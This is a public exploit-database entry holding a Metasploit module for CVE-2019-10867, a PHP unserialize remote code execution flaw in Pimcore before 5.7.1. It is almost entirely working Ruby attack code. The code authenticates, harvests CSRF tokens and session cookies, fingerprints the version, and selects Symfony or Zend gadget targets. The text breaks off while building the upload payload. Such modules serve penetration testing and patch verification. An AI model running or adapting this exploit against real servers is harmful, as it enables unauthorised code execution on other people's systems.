Exploit-DB #46783
Description: Pimcore < 5.71 - Unserialize Remote Code Execution (Metasploit)
Type: remote
Platform: php
Date: 2019-04-30
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name' => "Pimcore Unserialize RCE",
      'Description' => %q(
        This module exploits a PHP unserialize() in Pimcore before 5.7.1 to
        execute arbitrary code. An authenticated user with "classes" permission
        could exploit the vulnerability.

        The vulnerability exists in the "ClassController.php" class, where the
        "bulk-commit" method makes it possible to exploit the unserialize function
        when passing untrusted values in "data" parameter.

        Tested on Pimcore 5.4.0-5.4.4, 5.5.1-5.5.4, 5.6.0-5.6.6 with the Symfony
        unserialize payload.

        Tested on Pimcore 4.0.0-4.6.5 with the Zend unserialize payload.
      ),
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'Daniele Scanu', # Discovery & PoC
          'Fabio Cogno' # Metasploit module
        ],
      'References' =>
        [
          ['CVE', '2019-10867'],
          ['URL', 'https://github.com/pimcore/pimcore/commit/38a29e2f4f5f060a[PII_REDACTED]2501cee05fda73'],
          ['URL', 'https://snyk.io/vuln/SNYK-PHP-PIMCOREPIMCORE-173998']
        ],
      'Platform' => 'php',
      'Arch' => ARCH_PHP,
      'Targets' =>
        [
          ['Pimcore 5.x (Symfony unserialize payload)', 'type' => :symfony],
          ['Pimcore 4.x (Zend unserialize payload)', 'type' => :zend]
        ],
      'Payload' => {
        'Space' => 8000,
        'DisableNops' => true
      },
      'Privileged' => false,
      'DisclosureDate' => "Mar 11 2019",
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, "Base Pimcore directory path", '/']),
        OptString.new('USERNAME', [true, "Username to authenticate with", '']),
        OptString.new('PASSWORD', [false, "Password to authenticate with", ''])
      ]
    )
  end

  def login
    # Try to login
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'login', 'login'),
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    )

    unless res
      fail_with(Failure::Unreachable, 'Connection failed')
    end

    if res.code == 302 && res.headers['Location'] =~ /\/admin\/\?_dc=/
      print_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")

      # Grabbing CSRF token and PHPSESSID cookie
      return grab_csrftoken(res)
    end

    if res.code == 302 && res.headers['Location'] =~ /auth_failed=true/
      fail_with(Failure::NoAccess, 'Invalid credentials')
    end

    fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
  end

  def grab_csrftoken(auth_res)
    uri = "#{target_uri.path}admin/?_dc=#{auth_res.headers['Location'].scan(/\/admin\/\?_dc=([0-9]+)/).flatten.first}"

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(uri),
      'cookie' => auth_res.get_cookies
    )

    if res && res.code == 200
      # Pimcore 5.x
      unless res.body.scan(/"csrfToken": "[a-z0-9]+",/).empty?
        @csrf_token = res.body.scan(/"csrfToken": "([a-z0-9]+)",/).flatten.first.to_s
        @pimcore_cookies = res.get_cookies.scan(/(PHPSESSID=[a-z0-9]+;)/).flatten[0]
        fail_with(Failure::NotFound, 'Failed to retrieve cookies') unless @pimcore_cookies
        @pimcore_cookies << " pimcore_admin_sid=1;"

        # Version
        version = res.body.scan(/"pimcore platform \(v([0-9]{1}\.[0-9]{1}\.[0-9]{1})\|([a-z0-9]+)\)"/i).flatten[0]
        build = res.body.scan(/"pimcore platform \(v([0-9]{1}\.[0-9]{1}\.[0-9]{1})\|([a-z0-9]+)\)"/i).flatten[1]
        fail_with(Failure::NotFound, 'Failed to retrieve the version and build') unless version && build
        print_version(version, build)
        return assign_target(version)
      end

      # Pimcore 4.x
      unless res.body.scan(/csrfToken: "[a-z0-9]+",/).empty?
        @csrf_token = res.body.scan(/csrfToken: "([a-z0-9]+)",/).flatten.first.to_s
        @pimcore_cookies = res.get_cookies.scan(/(pimcore_admin_sid=[a-z0-9]+;)/).flatten[0]
        fail_with(Failure::NotFound, 'Unable to retrieve cookies') unless @pimcore_cookies

        # Version
        version = res.body.scan(/version: "([0-9]{1}\.[0-9]{1}\.[0-9]{1})",/i).flatten[0]
        build = res.body.scan(/build: "([0-9]+)",/i).flatten[0]
        fail_with(Failure::NotFound, 'Failed to retrieve the version and build') unless version && build
        print_version(version, build)
        return assign_target(version)
      end

      # Version different from 4.x or 5.x
      return nil
    else
      fail_with(Failure::NoAccess, 'Failed to grab csrfToken and PHPSESSID')
    end
  end

  def print_version(version, build)
    print_status("Pimcore version: #{version}")
    print_status("Pimcore build: #{build}")
  end

  def assign_target(version)
    if Gem::Version.new(version) >= Gem::Version.new('5.0.0') && Gem::Version.new(version) <= Gem::Version.new('5.6.6')
      print_good("The target is vulnerable!")
      return targets[0]
    elsif Gem::Version.new(version) >= Gem::Version.new('4.0.0') && Gem::Version.new(version) <= Gem::Version.new('4.6.5')
      print_good("The target is vulnerable!")
      return targets[1]
    else
      print_error("The target is NOT vulnerable!")
      return nil
    end
  end

  def upload
    # JSON file payload
    fpayload = "{\"customlayout\":[{\"creationDate\": \"#{rand(1..9)}\", \"modificationDate\": \"#{rand(1..9)}\", \"userOwner\": \"#{rand(1